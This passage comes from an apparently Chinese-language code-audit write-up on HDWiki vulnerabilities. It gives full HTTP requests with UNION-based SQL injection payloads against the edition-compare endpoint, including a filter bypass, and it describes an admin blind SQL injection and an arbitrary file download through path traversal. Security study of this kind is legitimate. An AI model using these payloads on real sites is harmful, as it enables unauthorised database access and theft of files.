如果注入成功会进入到else分支,则该类型注入只需要闭合圆括号即可。
构造HTTP请求包:
POST /index.php?edition-compare HTTP/1.1
Host:
Content-Type:application/x-www-form-urlencoded
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 159
eid[a]=1) UNION SELECT 1,2,3,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19#&eid[0]=123&eid[1]=456
如图:
但是没有回显数据出来,是因为程序往后又做了判断。如图:
因为union select 查询到的只是一条数据而已,这里取不到第二条数据。两次union select即可查询出两条数据。我们看一下did字段的存放位置。
可以看到did字段处于第三条数据。那么我们需要构造两次union all select(预防union select 默认过滤),将did相等就行了。如图:
HTTP包:
POST /index.php?edition-compare HTTP/1.1
Host: hdwiki.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
eid[a]=1) UNION SELECT 1,2,888,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 1,3,888,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19#&eid[0]=123&eid[1]=456
0x06 后台SQL盲注漏洞是个有意思的点,这里也记录一下。在/control/admin_theme.php文件中有dosaveblock方法,如图:
第546行直接调用block_query方法,将过滤的POST请求直接放置到第一个参数中。
跟进block_query方法。
这里$_POST的key是没有任何过滤的,那么我们可以在key中进行注入。
构造HTTP请求包:
成功延时注入。
0x07 任意文件下载漏洞在/control/admin_db.php文件有dodownloadfile方法,如图:
本意是下载数据库,这里使用*号代替.号进行跳目录。